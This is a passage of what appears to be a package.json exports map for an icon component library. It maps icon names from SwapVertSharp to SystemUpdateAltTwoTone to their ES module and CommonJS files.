\"./SwapVertSharp\": {\n      \"import\": \"./SwapVertSharp.mjs\",\n      \"require\": \"./SwapVertSharp.js\",\n      \"default\": \"./SwapVertSharp.mjs\"\n    },\n    \"./SwapVertTwoTone\": {\n      \"import\": \"./SwapVertTwoTone.mjs\",\n      \"require\": \"./SwapVertTwoTone.js\",\n      \"default\": \"./SwapVertTwoTone.mjs\"\n    },\n    \"./SwapVerticalCircle\": {\n      \"import\": \"./SwapVerticalCircle.mjs\",\n      \"require\": \"./SwapVerticalCircle.js\",\n      \"default\": \"./SwapVerticalCircle.mjs\"\n    },\n    \"./SwapVerticalCircleOutlined\": {\n      \"import\": \"./SwapVerticalCircleOutlined.mjs\",\n      \"require\": \"./SwapVerticalCircleOutlined.js\",\n      \"default\": \"./SwapVerticalCircleOutlined.mjs\"\n    },\n    \"./SwapVerticalCircleRounded\": {\n      \"import\": \"./SwapVerticalCircleRounded.mjs\",\n      \"require\": \"./SwapVerticalCircleRounded.js\",\n      \"default\": \"./SwapVerticalCircleRounded.mjs\"\n    },\n    \"./SwapVerticalCircleSharp\": {\n      \"import\": \"./SwapVerticalCircleSharp.mjs\",\n      \"require\": \"./SwapVerticalCircleSharp.js\",\n      \"default\": \"./SwapVerticalCircleSharp.mjs\"\n    },\n    \"./SwapVerticalCircleTwoTone\": {\n      \"import\": \"./SwapVerticalCircleTwoTone.mjs\",\n      \"require\": \"./SwapVerticalCircleTwoTone.js\",\n      \"default\": \"./SwapVerticalCircleTwoTone.mjs\"\n    },\n    \"./Swipe\": {\n      \"import\": \"./Swipe.mjs\",\n      \"require\": \"./Swipe.js\",\n      \"default\": \"./Swipe.mjs\"\n    },\n    \"./SwipeDown\": {\n      \"import\": \"./SwipeDown.mjs\",\n      \"require\": \"./SwipeDown.js\",\n      \"default\": \"./SwipeDown.mjs\"\n    },\n    \"./SwipeDownAlt\": {\n      \"import\": \"./SwipeDownAlt.mjs\",\n      \"require\": \"./SwipeDownAlt.js\",\n      \"default\": \"./SwipeDownAlt.mjs\"\n    },\n    \"./SwipeDownAltOutlined\": {\n      \"import\": \"./SwipeDownAltOutlined.mjs\",\n      \"require\": \"./SwipeDownAltOutlined.js\",\n      \"default\": \"./SwipeDownAltOutlined.mjs\"\n    },\n    \"./SwipeDownAltRounded\": {\n      \"import\": \"./SwipeDownAltRounded.mjs\",\n      \"require\": \"./SwipeDownAltRounded.js\",\n      \"default\": \"./SwipeDownAltRounded.mjs\"\n    },\n    \"./SwipeDownAltSharp\": {\n      \"import\": \"./SwipeDownAltSharp.mjs\",\n      \"require\": \"./SwipeDownAltSharp.js\",\n      \"default\": \"./SwipeDownAltSharp.mjs\"\n    },\n    \"./SwipeDownAltTwoTone\": {\n      \"import\": \"./SwipeDownAltTwoTone.mjs\",\n      \"require\": \"./SwipeDownAltTwoTone.js\",\n      \"default\": \"./SwipeDownAltTwoTone.mjs\"\n    },\n    \"./SwipeDownOutlined\": {\n      \"import\": \"./SwipeDownOutlined.mjs\",\n      \"require\": \"./SwipeDownOutlined.js\",\n      \"default\": \"./SwipeDownOutlined.mjs\"\n    },\n    \"./SwipeDownRounded\": {\n      \"import\": \"./SwipeDownRounded.mjs\",\n      \"require\": \"./SwipeDownRounded.js\",\n      \"default\": \"./SwipeDownRounded.mjs\"\n    },\n    \"./SwipeDownSharp\": {\n      \"import\": \"./SwipeDownSharp.mjs\",\n      \"require\": \"./SwipeDownSharp.js\",\n      \"default\": \"./SwipeDownSharp.mjs\"\n    },\n    \"./SwipeDownTwoTone\": {\n      \"import\": \"./SwipeDownTwoTone.mjs\",\n      \"require\": \"./SwipeDownTwoTone.js\",\n      \"default\": \"./SwipeDownTwoTone.mjs\"\n    },\n    \"./SwipeLeft\": {\n      \"import\": \"./SwipeLeft.mjs\",\n      \"require\": \"./SwipeLeft.js\",\n      \"default\": \"./SwipeLeft.mjs\"\n    },\n    \"./SwipeLeftAlt\": {\n      \"import\": \"./SwipeLeftAlt.mjs\",\n      \"require\": \"./SwipeLeftAlt.js\",\n      \"default\": \"./SwipeLeftAlt.mjs\"\n    },\n    \"./SwipeLeftAltOutlined\": {\n      \"import\": \"./SwipeLeftAltOutlined.mjs\",\n      \"require\": \"./SwipeLeftAltOutlined.js\",\n      \"default\": \"./SwipeLeftAltOutlined.mjs\"\n    },\n    \"./SwipeLeftAltRounded\": {\n      \"import\": \"./SwipeLeftAltRounded.mjs\",\n      \"require\": \"./SwipeLeftAltRounded.js\",\n      \"default\": \"./SwipeLeftAltRounded.mjs\"\n    },\n    \"./SwipeLeftAltSharp\": {\n      \"import\": \"./SwipeLeftAltSharp.mjs\",\n      \"require\": \"./SwipeLeftAltSharp.js\",\n      \"default\": \"./SwipeLeftAltSharp.mjs\"\n    },\n    \"./SwipeLeftAltTwoTone\": {\n      \"import\": \"./SwipeLeftAltTwoTone.mjs\",\n      \"require\": \"./SwipeLeftAltTwoTone.js\",\n      \"default\": \"./SwipeLeftAltTwoTone.mjs\"\n    },\n    \"./SwipeLeftOutlined\": {\n      \"import\": \"./SwipeLeftOutlined.mjs\",\n      \"require\": \"./SwipeLeftOutlined.js\",\n      \"default\": \"./SwipeLeftOutlined.mjs\"\n    },\n    \"./SwipeLeftRounded\": {\n      \"require\": \"./SwipeLeftRounded.js\",\n      \"import\": \"./SwipeLeftRounded.mjs\",\n      \"default\": \"./SwipeLeftRounded.mjs\"\n    },\n    \"./SwipeLeftSharp\": {\n      \"require\": \"./SwipeLeftSharp.js\",\n      \"import\": \"./SwipeLeftSharp.mjs\",\n      \"default\": \"./SwipeLeftSharp.mjs\"\n    },\n    \"./SwipeLeftTwoTone\": {\n      \"require\": \"./SwipeLeftTwoTone.js\",\n      \"import\": \"./SwipeLeftTwoTone.mjs\",\n      \"default\": \"./SwipeLeftTwoTone.mjs\"\n    },\n    \"./SwipeOutlined\": {\n      \"require\": \"./SwipeOutlined.js\",\n      \"import\": \"./SwipeOutlined.mjs\",\n      \"default\": \"./SwipeOutlined.mjs\"\n    },\n    \"./SwipeRight\": {\n      \"import\": \"./SwipeRight.mjs\",\n      \"require\": \"./SwipeRight.js\",\n      \"default\": \"./SwipeRight.mjs\"\n    },\n    \"./SwipeRightAlt\": {\n      \"import\": \"./SwipeRightAlt.mjs\",\n      \"require\": \"./SwipeRightAlt.js\",\n      \"default\": \"./SwipeRightAlt.mjs\"\n    },\n    \"./SwipeRightAltOutlined\": {\n      \"import\": \"./SwipeRightAltOutlined.mjs\",\n      \"require\": \"./SwipeRightAltOutlined.js\",\n      \"default\": \"./SwipeRightAltOutlined.mjs\"\n    },\n    \"./SwipeRightAltRounded\": {\n      \"import\": \"./SwipeRightAltRounded.mjs\",\n      \"require\": \"./SwipeRightAltRounded.js\",\n      \"default\": \"./SwipeRightAltRounded.mjs\"\n    },\n    \"./SwipeRightAltSharp\": {\n      \"import\": \"./SwipeRightAltSharp.mjs\",\n      \"require\": \"./SwipeRightAltSharp.js\",\n      \"default\": \"./SwipeRightAltSharp.mjs\"\n    },\n    \"./SwipeRightAltTwoTone\": {\n      \"import\": \"./SwipeRightAltTwoTone.mjs\",\n      \"require\": \"./SwipeRightAltTwoTone.js\",\n      \"default\": \"./SwipeRightAltTwoTone.mjs\"\n    },\n    \"./SwipeRightOutlined\": {\n      \"import\": \"./SwipeRightOutlined.mjs\",\n      \"require\": \"./SwipeRightOutlined.js\",\n      \"default\": \"./SwipeRightOutlined.mjs\"\n    },\n    \"./SwipeRightRounded\": {\n      \"import\": \"./SwipeRightRounded.mjs\",\n      \"require\": \"./SwipeRightRounded.js\",\n      \"default\": \"./SwipeRightRounded.mjs\"\n    },\n    \"./SwipeRightSharp\": {\n      \"import\": \"./SwipeRightSharp.mjs\",\n      \"require\": \"./SwipeRightSharp.js\",\n      \"default\": \"./SwipeRightSharp.mjs\"\n    },\n    \"./SwipeRightTwoTone\": {\n      \"import\": \"./SwipeRightTwoTone.mjs\",\n      \"require\": \"./SwipeRightTwoTone.js\",\n      \"default\": \"./SwipeRightTwoTone.mjs\"\n    },\n    \"./SwipeRounded\": {\n      \"import\": \"./SwipeRounded.mjs\",\n      \"require\": \"./SwipeRounded.js\",\n      \"default\": \"./SwipeRounded.mjs\"\n    },\n    \"./SwipeSharp\": {\n      \"import\": \"./SwipeSharp.mjs\",\n      \"require\": \"./SwipeSharp.js\",\n      \"default\": \"./SwipeSharp.mjs\"\n    },\n    \"./SwipeTwoTone\": {\n      \"import\": \"./SwipeTwoTone.mjs\",\n      \"require\": \"./SwipeTwoTone.js\",\n      \"default\": \"./SwipeTwoTone.mjs\"\n    },\n    \"./SwipeUp\": {\n      \"import\": \"./SwipeUp.mjs\",\n      \"require\": \"./SwipeUp.js\",\n      \"default\": \"./SwipeUp.mjs\"\n    },\n    \"./SwipeUpAlt\": {\n      \"require\": \"./SwipeUpAlt.js\",\n      \"import\": \"./SwipeUpAlt.mjs\",\n      \"default\": \"./SwipeUpAlt.mjs\"\n    },\n    \"./SwipeUpAltOutlined\": {\n      \"require\": \"./SwipeUpAltOutlined.js\",\n      \"import\": \"./SwipeUpAltOutlined.mjs\",\n      \"default\": \"./SwipeUpAltOutlined.mjs\"\n    },\n    \"./SwipeUpAltRounded\": {\n      \"import\": \"./SwipeUpAltRounded.mjs\",\n      \"require\": \"./SwipeUpAltRounded.js\",\n      \"default\": \"./SwipeUpAltRounded.mjs\"\n    },\n    \"./SwipeUpAltSharp\": {\n      \"import\": \"./SwipeUpAltSharp.mjs\",\n      \"require\": \"./SwipeUpAltSharp.js\",\n      \"default\": \"./SwipeUpAltSharp.mjs\"\n    },\n    \"./SwipeUpAltTwoTone\": {\n      \"require\": \"./SwipeUpAltTwoTone.js\",\n      \"import\": \"./SwipeUpAltTwoTone.mjs\",\n      \"default\": \"./SwipeUpAltTwoTone.mjs\"\n    },\n    \"./SwipeUpOutlined\": {\n      \"require\": \"./SwipeUpOutlined.js\",\n      \"import\": \"./SwipeUpOutlined.mjs\",\n      \"default\": \"./SwipeUpOutlined.mjs\"\n    },\n    \"./SwipeUpRounded\": {\n      \"require\": \"./SwipeUpRounded.js\",\n      \"import\": \"./SwipeUpRounded.mjs\",\n      \"default\": \"./SwipeUpRounded.mjs\"\n    },\n    \"./SwipeUpSharp\": {\n      \"require\": \"./SwipeUpSharp.js\",\n      \"import\": \"./SwipeUpSharp.mjs\",\n      \"default\": \"./SwipeUpSharp.mjs\"\n    },\n    \"./SwipeUpTwoTone\": {\n      \"require\": \"./SwipeUpTwoTone.js\",\n      \"import\": \"./SwipeUpTwoTone.mjs\",\n      \"default\": \"./SwipeUpTwoTone.mjs\"\n    },\n    \"./SwipeVertical\": {\n      \"require\": \"./SwipeVertical.js\",\n      \"import\": \"./SwipeVertical.mjs\",\n      \"default\": \"./SwipeVertical.mjs\"\n    },\n    \"./SwipeVerticalOutlined\": {\n      \"require\": \"./SwipeVerticalOutlined.js\",\n      \"import\": \"./SwipeVerticalOutlined.mjs\",\n      \"default\": \"./SwipeVerticalOutlined.mjs\"\n    },\n    \"./SwipeVerticalRounded\": {\n      \"require\": \"./SwipeVerticalRounded.js\",\n      \"import\": \"./SwipeVerticalRounded.mjs\",\n      \"default\": \"./SwipeVerticalRounded.mjs\"\n    },\n    \"./SwipeVerticalSharp\": {\n      \"require\": \"./SwipeVerticalSharp.js\",\n      \"import\": \"./SwipeVerticalSharp.mjs\",\n      \"default\": \"./SwipeVerticalSharp.mjs\"\n    },\n    \"./SwipeVerticalTwoTone\": {\n      \"require\": \"./SwipeVerticalTwoTone.js\",\n      \"import\": \"./SwipeVerticalTwoTone.mjs\",\n      \"default\": \"./SwipeVerticalTwoTone.mjs\"\n    },\n    \"./SwitchAccessShortcut\": {\n      \"require\": \"./SwitchAccessShortcut.js\",\n      \"import\": \"./SwitchAccessShortcut.mjs\",\n      \"default\": \"./SwitchAccessShortcut.mjs\"\n    },\n    \"./SwitchAccessShortcutAdd\": {\n      \"require\": \"./SwitchAccessShortcutAdd.js\",\n      \"import\": \"./SwitchAccessShortcutAdd.mjs\",\n      \"default\": \"./SwitchAccessShortcutAdd.mjs\"\n    },\n    \"./SwitchAccessShortcutAddOutlined\": {\n      \"require\": \"./SwitchAccessShortcutAddOutlined.js\",\n      \"import\": \"./SwitchAccessShortcutAddOutlined.mjs\",\n      \"default\": \"./SwitchAccessShortcutAddOutlined.mjs\"\n    },\n    \"./SwitchAccessShortcutAddRounded\": {\n      \"import\": \"./SwitchAccessShortcutAddRounded.mjs\",\n      \"require\": \"./SwitchAccessShortcutAddRounded.js\",\n      \"default\": \"./SwitchAccessShortcutAddRounded.mjs\"\n    },\n    \"./SwitchAccessShortcutAddSharp\": {\n      \"import\": \"./SwitchAccessShortcutAddSharp.mjs\",\n      \"require\": \"./SwitchAccessShortcutAddSharp.js\",\n      \"default\": \"./SwitchAccessShortcutAddSharp.mjs\"\n    },\n    \"./SwitchAccessShortcutAddTwoTone\": {\n      \"import\": \"./SwitchAccessShortcutAddTwoTone.mjs\",\n      \"require\": \"./SwitchAccessShortcutAddTwoTone.js\",\n      \"default\": \"./SwitchAccessShortcutAddTwoTone.mjs\"\n    },\n    \"./SwitchAccessShortcutOutlined\": {\n      \"import\": \"./SwitchAccessShortcutOutlined.mjs\",\n      \"require\": \"./SwitchAccessShortcutOutlined.js\",\n      \"default\": \"./SwitchAccessShortcutOutlined.mjs\"\n    },\n    \"./SwitchAccessShortcutRounded\": {\n      \"import\": \"./SwitchAccessShortcutRounded.mjs\",\n      \"require\": \"./SwitchAccessShortcutRounded.js\",\n      \"default\": \"./SwitchAccessShortcutRounded.mjs\"\n    },\n    \"./SwitchAccessShortcutSharp\": {\n      \"import\": \"./SwitchAccessShortcutSharp.mjs\",\n      \"require\": \"./SwitchAccessShortcutSharp.js\",\n      \"default\": \"./SwitchAccessShortcutSharp.mjs\"\n    },\n    \"./SwitchAccessShortcutTwoTone\": {\n      \"import\": \"./SwitchAccessShortcutTwoTone.mjs\",\n      \"require\": \"./SwitchAccessShortcutTwoTone.js\",\n      \"default\": \"./SwitchAccessShortcutTwoTone.mjs\"\n    },\n    \"./SwitchAccount\": {\n      \"import\": \"./SwitchAccount.mjs\",\n      \"require\": \"./SwitchAccount.js\",\n      \"default\": \"./SwitchAccount.mjs\"\n    },\n    \"./SwitchAccountOutlined\": {\n      \"require\": \"./SwitchAccountOutlined.js\",\n      \"import\": \"./SwitchAccountOutlined.mjs\",\n      \"default\": \"./SwitchAccountOutlined.mjs\"\n    },\n    \"./SwitchAccountRounded\": {\n      \"require\": \"./SwitchAccountRounded.js\",\n      \"import\": \"./SwitchAccountRounded.mjs\",\n      \"default\": \"./SwitchAccountRounded.mjs\"\n    },\n    \"./SwitchAccountSharp\": {\n      \"import\": \"./SwitchAccountSharp.mjs\",\n      \"require\": \"./SwitchAccountSharp.js\",\n      \"default\": \"./SwitchAccountSharp.mjs\"\n    },\n    \"./SwitchAccountTwoTone\": {\n      \"import\": \"./SwitchAccountTwoTone.mjs\",\n      \"require\": \"./SwitchAccountTwoTone.js\",\n      \"default\": \"./SwitchAccountTwoTone.mjs\"\n    },\n    \"./SwitchCamera\": {\n      \"import\": \"./SwitchCamera.mjs\",\n      \"require\": \"./SwitchCamera.js\",\n      \"default\": \"./SwitchCamera.mjs\"\n    },\n    \"./SwitchCameraOutlined\": {\n      \"import\": \"./SwitchCameraOutlined.mjs\",\n      \"require\": \"./SwitchCameraOutlined.js\",\n      \"default\": \"./SwitchCameraOutlined.mjs\"\n    },\n    \"./SwitchCameraRounded\": {\n      \"import\": \"./SwitchCameraRounded.mjs\",\n      \"require\": \"./SwitchCameraRounded.js\",\n      \"default\": \"./SwitchCameraRounded.mjs\"\n    },\n    \"./SwitchCameraSharp\": {\n      \"import\": \"./SwitchCameraSharp.mjs\",\n      \"require\": \"./SwitchCameraSharp.js\",\n      \"default\": \"./SwitchCameraSharp.mjs\"\n    },\n    \"./SwitchCameraTwoTone\": {\n      \"import\": \"./SwitchCameraTwoTone.mjs\",\n      \"require\": \"./SwitchCameraTwoTone.js\",\n      \"default\": \"./SwitchCameraTwoTone.mjs\"\n    },\n    \"./SwitchLeft\": {\n      \"import\": \"./SwitchLeft.mjs\",\n      \"require\": \"./SwitchLeft.js\",\n      \"default\": \"./SwitchLeft.mjs\"\n    },\n    \"./SwitchLeftOutlined\": {\n      \"import\": \"./SwitchLeftOutlined.mjs\",\n      \"require\": \"./SwitchLeftOutlined.js\",\n      \"default\": \"./SwitchLeftOutlined.mjs\"\n    },\n    \"./SwitchLeftRounded\": {\n      \"import\": \"./SwitchLeftRounded.mjs\",\n      \"require\": \"./SwitchLeftRounded.js\",\n      \"default\": \"./SwitchLeftRounded.mjs\"\n    },\n    \"./SwitchLeftSharp\": {\n      \"import\": \"./SwitchLeftSharp.mjs\",\n      \"require\": \"./SwitchLeftSharp.js\",\n      \"default\": \"./SwitchLeftSharp.mjs\"\n    },\n    \"./SwitchLeftTwoTone\": {\n      \"import\": \"./SwitchLeftTwoTone.mjs\",\n      \"require\": \"./SwitchLeftTwoTone.js\",\n      \"default\": \"./SwitchLeftTwoTone.mjs\"\n    },\n    \"./SwitchRight\": {\n      \"import\": \"./SwitchRight.mjs\",\n      \"require\": \"./SwitchRight.js\",\n      \"default\": \"./SwitchRight.mjs\"\n    },\n    \"./SwitchRightOutlined\": {\n      \"require\": \"./SwitchRightOutlined.js\",\n      \"import\": \"./SwitchRightOutlined.mjs\",\n      \"default\": \"./SwitchRightOutlined.mjs\"\n    },\n    \"./SwitchRightRounded\": {\n      \"import\": \"./SwitchRightRounded.mjs\",\n      \"require\": \"./SwitchRightRounded.js\",\n      \"default\": \"./SwitchRightRounded.mjs\"\n    },\n    \"./SwitchRightSharp\": {\n      \"import\": \"./SwitchRightSharp.mjs\",\n      \"require\": \"./SwitchRightSharp.js\",\n      \"default\": \"./SwitchRightSharp.mjs\"\n    },\n    \"./SwitchRightTwoTone\": {\n      \"require\": \"./SwitchRightTwoTone.js\",\n      \"import\": \"./SwitchRightTwoTone.mjs\",\n      \"default\": \"./SwitchRightTwoTone.mjs\"\n    },\n    \"./SwitchVideo\": {\n      \"require\": \"./SwitchVideo.js\",\n      \"import\": \"./SwitchVideo.mjs\",\n      \"default\": \"./SwitchVideo.mjs\"\n    },\n    \"./SwitchVideoOutlined\": {\n      \"require\": \"./SwitchVideoOutlined.js\",\n      \"import\": \"./SwitchVideoOutlined.mjs\",\n      \"default\": \"./SwitchVideoOutlined.mjs\"\n    },\n    \"./SwitchVideoRounded\": {\n      \"require\": \"./SwitchVideoRounded.js\",\n      \"import\": \"./SwitchVideoRounded.mjs\",\n      \"default\": \"./SwitchVideoRounded.mjs\"\n    },\n    \"./SwitchVideoSharp\": {\n      \"import\": \"./SwitchVideoSharp.mjs\",\n      \"require\": \"./SwitchVideoSharp.js\",\n      \"default\": \"./SwitchVideoSharp.mjs\"\n    },\n    \"./SwitchVideoTwoTone\": {\n      \"import\": \"./SwitchVideoTwoTone.mjs\",\n      \"require\": \"./SwitchVideoTwoTone.js\",\n      \"default\": \"./SwitchVideoTwoTone.mjs\"\n    },\n    \"./Synagogue\": {\n      \"import\": \"./Synagogue.mjs\",\n      \"require\": \"./Synagogue.js\",\n      \"default\": \"./Synagogue.mjs\"\n    },\n    \"./SynagogueOutlined\": {\n      \"require\": \"./SynagogueOutlined.js\",\n      \"import\": \"./SynagogueOutlined.mjs\",\n      \"default\": \"./SynagogueOutlined.mjs\"\n    },\n    \"./SynagogueRounded\": {\n      \"require\": \"./SynagogueRounded.js\",\n      \"import\": \"./SynagogueRounded.mjs\",\n      \"default\": \"./SynagogueRounded.mjs\"\n    },\n    \"./SynagogueSharp\": {\n      \"require\": \"./SynagogueSharp.js\",\n      \"import\": \"./SynagogueSharp.mjs\",\n      \"default\": \"./SynagogueSharp.mjs\"\n    },\n    \"./SynagogueTwoTone\": {\n      \"require\": \"./SynagogueTwoTone.js\",\n      \"import\": \"./SynagogueTwoTone.mjs\",\n      \"default\": \"./SynagogueTwoTone.mjs\"\n    },\n    \"./Sync\": {\n      \"require\": \"./Sync.js\",\n      \"import\": \"./Sync.mjs\",\n      \"default\": \"./Sync.mjs\"\n    },\n    \"./SyncAlt\": {\n      \"require\": \"./SyncAlt.js\",\n      \"import\": \"./SyncAlt.mjs\",\n      \"default\": \"./SyncAlt.mjs\"\n    },\n    \"./SyncAltOutlined\": {\n      \"require\": \"./SyncAltOutlined.js\",\n      \"import\": \"./SyncAltOutlined.mjs\",\n      \"default\": \"./SyncAltOutlined.mjs\"\n    },\n    \"./SyncAltRounded\": {\n      \"require\": \"./SyncAltRounded.js\",\n      \"import\": \"./SyncAltRounded.mjs\",\n      \"default\": \"./SyncAltRounded.mjs\"\n    },\n    \"./SyncAltSharp\": {\n      \"import\": \"./SyncAltSharp.mjs\",\n      \"require\": \"./SyncAltSharp.js\",\n      \"default\": \"./SyncAltSharp.mjs\"\n    },\n    \"./SyncAltTwoTone\": {\n      \"import\": \"./SyncAltTwoTone.mjs\",\n      \"require\": \"./SyncAltTwoTone.js\",\n      \"default\": \"./SyncAltTwoTone.mjs\"\n    },\n    \"./SyncDisabled\": {\n      \"require\": \"./SyncDisabled.js\",\n      \"import\": \"./SyncDisabled.mjs\",\n      \"default\": \"./SyncDisabled.mjs\"\n    },\n    \"./SyncDisabledOutlined\": {\n      \"require\": \"./SyncDisabledOutlined.js\",\n      \"import\": \"./SyncDisabledOutlined.mjs\",\n      \"default\": \"./SyncDisabledOutlined.mjs\"\n    },\n    \"./SyncDisabledRounded\": {\n      \"require\": \"./SyncDisabledRounded.js\",\n      \"import\": \"./SyncDisabledRounded.mjs\",\n      \"default\": \"./SyncDisabledRounded.mjs\"\n    },\n    \"./SyncDisabledSharp\": {\n      \"require\": \"./SyncDisabledSharp.js\",\n      \"import\": \"./SyncDisabledSharp.mjs\",\n      \"default\": \"./SyncDisabledSharp.mjs\"\n    },\n    \"./SyncDisabledTwoTone\": {\n      \"require\": \"./SyncDisabledTwoTone.js\",\n      \"import\": \"./SyncDisabledTwoTone.mjs\",\n      \"default\": \"./SyncDisabledTwoTone.mjs\"\n    },\n    \"./SyncLock\": {\n      \"require\": \"./SyncLock.js\",\n      \"import\": \"./SyncLock.mjs\",\n      \"default\": \"./SyncLock.mjs\"\n    },\n    \"./SyncLockOutlined\": {\n      \"require\": \"./SyncLockOutlined.js\",\n      \"import\": \"./SyncLockOutlined.mjs\",\n      \"default\": \"./SyncLockOutlined.mjs\"\n    },\n    \"./SyncLockRounded\": {\n      \"require\": \"./SyncLockRounded.js\",\n      \"import\": \"./SyncLockRounded.mjs\",\n      \"default\": \"./SyncLockRounded.mjs\"\n    },\n    \"./SyncLockSharp\": {\n      \"require\": \"./SyncLockSharp.js\",\n      \"import\": \"./SyncLockSharp.mjs\",\n      \"default\": \"./SyncLockSharp.mjs\"\n    },\n    \"./SyncLockTwoTone\": {\n      \"require\": \"./SyncLockTwoTone.js\",\n      \"import\": \"./SyncLockTwoTone.mjs\",\n      \"default\": \"./SyncLockTwoTone.mjs\"\n    },\n    \"./SyncOutlined\": {\n      \"require\": \"./SyncOutlined.js\",\n      \"import\": \"./SyncOutlined.mjs\",\n      \"default\": \"./SyncOutlined.mjs\"\n    },\n    \"./SyncProblem\": {\n      \"require\": \"./SyncProblem.js\",\n      \"import\": \"./SyncProblem.mjs\",\n      \"default\": \"./SyncProblem.mjs\"\n    },\n    \"./SyncProblemOutlined\": {\n      \"require\": \"./SyncProblemOutlined.js\",\n      \"import\": \"./SyncProblemOutlined.mjs\",\n      \"default\": \"./SyncProblemOutlined.mjs\"\n    },\n    \"./SyncProblemRounded\": {\n      \"require\": \"./SyncProblemRounded.js\",\n      \"import\": \"./SyncProblemRounded.mjs\",\n      \"default\": \"./SyncProblemRounded.mjs\"\n    },\n    \"./SyncProblemSharp\": {\n      \"require\": \"./SyncProblemSharp.js\",\n      \"import\": \"./SyncProblemSharp.mjs\",\n      \"default\": \"./SyncProblemSharp.mjs\"\n    },\n    \"./SyncProblemTwoTone\": {\n      \"require\": \"./SyncProblemTwoTone.js\",\n      \"import\": \"./SyncProblemTwoTone.mjs\",\n      \"default\": \"./SyncProblemTwoTone.mjs\"\n    },\n    \"./SyncRounded\": {\n      \"require\": \"./SyncRounded.js\",\n      \"import\": \"./SyncRounded.mjs\",\n      \"default\": \"./SyncRounded.mjs\"\n    },\n    \"./SyncSharp\": {\n      \"require\": \"./SyncSharp.js\",\n      \"import\": \"./SyncSharp.mjs\",\n      \"default\": \"./SyncSharp.mjs\"\n    },\n    \"./SyncTwoTone\": {\n      \"require\": \"./SyncTwoTone.js\",\n      \"import\": \"./SyncTwoTone.mjs\",\n      \"default\": \"./SyncTwoTone.mjs\"\n    },\n    \"./SystemSecurityUpdate\": {\n      \"require\": \"./SystemSecurityUpdate.js\",\n      \"import\": \"./SystemSecurityUpdate.mjs\",\n      \"default\": \"./SystemSecurityUpdate.mjs\"\n    },\n    \"./SystemSecurityUpdateGood\": {\n      \"require\": \"./SystemSecurityUpdateGood.js\",\n      \"import\": \"./SystemSecurityUpdateGood.mjs\",\n      \"default\": \"./SystemSecurityUpdateGood.mjs\"\n    },\n    \"./SystemSecurityUpdateGoodOutlined\": {\n      \"require\": \"./SystemSecurityUpdateGoodOutlined.js\",\n      \"import\": \"./SystemSecurityUpdateGoodOutlined.mjs\",\n      \"default\": \"./SystemSecurityUpdateGoodOutlined.mjs\"\n    },\n    \"./SystemSecurityUpdateGoodRounded\": {\n      \"require\": \"./SystemSecurityUpdateGoodRounded.js\",\n      \"import\": \"./SystemSecurityUpdateGoodRounded.mjs\",\n      \"default\": \"./SystemSecurityUpdateGoodRounded.mjs\"\n    },\n    \"./SystemSecurityUpdateGoodSharp\": {\n      \"require\": \"./SystemSecurityUpdateGoodSharp.js\",\n      \"import\": \"./SystemSecurityUpdateGoodSharp.mjs\",\n      \"default\": \"./SystemSecurityUpdateGoodSharp.mjs\"\n    },\n    \"./SystemSecurityUpdateGoodTwoTone\": {\n      \"require\": \"./SystemSecurityUpdateGoodTwoTone.js\",\n      \"import\": \"./SystemSecurityUpdateGoodTwoTone.mjs\",\n      \"default\": \"./SystemSecurityUpdateGoodTwoTone.mjs\"\n    },\n    \"./SystemSecurityUpdateOutlined\": {\n      \"require\": \"./SystemSecurityUpdateOutlined.js\",\n      \"import\": \"./SystemSecurityUpdateOutlined.mjs\",\n      \"default\": \"./SystemSecurityUpdateOutlined.mjs\"\n    },\n    \"./SystemSecurityUpdateRounded\": {\n      \"require\": \"./SystemSecurityUpdateRounded.js\",\n      \"import\": \"./SystemSecurityUpdateRounded.mjs\",\n      \"default\": \"./SystemSecurityUpdateRounded.mjs\"\n    },\n    \"./SystemSecurityUpdateSharp\": {\n      \"require\": \"./SystemSecurityUpdateSharp.js\",\n      \"import\": \"./SystemSecurityUpdateSharp.mjs\",\n      \"default\": \"./SystemSecurityUpdateSharp.mjs\"\n    },\n    \"./SystemSecurityUpdateTwoTone\": {\n      \"require\": \"./SystemSecurityUpdateTwoTone.js\",\n      \"import\": \"./SystemSecurityUpdateTwoTone.mjs\",\n      \"default\": \"./SystemSecurityUpdateTwoTone.mjs\"\n    },\n    \"./SystemSecurityUpdateWarning\": {\n      \"require\": \"./SystemSecurityUpdateWarning.js\",\n      \"import\": \"./SystemSecurityUpdateWarning.mjs\",\n      \"default\": \"./SystemSecurityUpdateWarning.mjs\"\n    },\n    \"./SystemSecurityUpdateWarningOutlined\": {\n      \"require\": \"./SystemSecurityUpdateWarningOutlined.js\",\n      \"import\": \"./SystemSecurityUpdateWarningOutlined.mjs\",\n      \"default\": \"./SystemSecurityUpdateWarningOutlined.mjs\"\n    },\n    \"./SystemSecurityUpdateWarningRounded\": {\n      \"require\": \"./SystemSecurityUpdateWarningRounded.js\",\n      \"import\": \"./SystemSecurityUpdateWarningRounded.mjs\",\n      \"default\": \"./SystemSecurityUpdateWarningRounded.mjs\"\n    },\n    \"./SystemSecurityUpdateWarningSharp\": {\n      \"require\": \"./SystemSecurityUpdateWarningSharp.js\",\n      \"import\": \"./SystemSecurityUpdateWarningSharp.mjs\",\n      \"default\": \"./SystemSecurityUpdateWarningSharp.mjs\"\n    },\n    \"./SystemSecurityUpdateWarningTwoTone\": {\n      \"require\": \"./SystemSecurityUpdateWarningTwoTone.js\",\n      \"import\": \"./SystemSecurityUpdateWarningTwoTone.mjs\",\n      \"default\": \"./SystemSecurityUpdateWarningTwoTone.mjs\"\n    },\n    \"./SystemUpdate\": {\n      \"require\": \"./SystemUpdate.js\",\n      \"import\": \"./SystemUpdate.mjs\",\n      \"default\": \"./SystemUpdate.mjs\"\n    },\n    \"./SystemUpdateAlt\": {\n      \"require\": \"./SystemUpdateAlt.js\",\n      \"import\": \"./SystemUpdateAlt.mjs\",\n      \"default\": \"./SystemUpdateAlt.mjs\"\n    },\n    \"./SystemUpdateAltOutlined\": {\n      \"require\": \"./SystemUpdateAltOutlined.js\",\n      \"import\": \"./SystemUpdateAltOutlined.mjs\",\n      \"default\": \"./SystemUpdateAltOutlined.mjs\"\n    },\n    \"./SystemUpdateAltRounded\": {\n      \"import\": \"./SystemUpdateAltRounded.mjs\",\n      \"require\": \"./SystemUpdateAltRounded.js\",\n      \"default\": \"./SystemUpdateAltRounded.mjs\"\n    },\n    \"./SystemUpdateAltSharp\": {\n      \"import\": \"./SystemUpdateAltSharp.mjs\",\n      \"require\": \"./SystemUpdateAltSharp.js\",\n      \"default\": \"./SystemUpdateAltSharp.mjs\"\n    },\n    \"./SystemUpdateAltTwoTone\": {\n      \"import\": \"./SystemUpdateAltTwoTone.mjs\",\n      \"require\": \"./SystemUpdateAltTwoTone.js\",\n      \"default\": 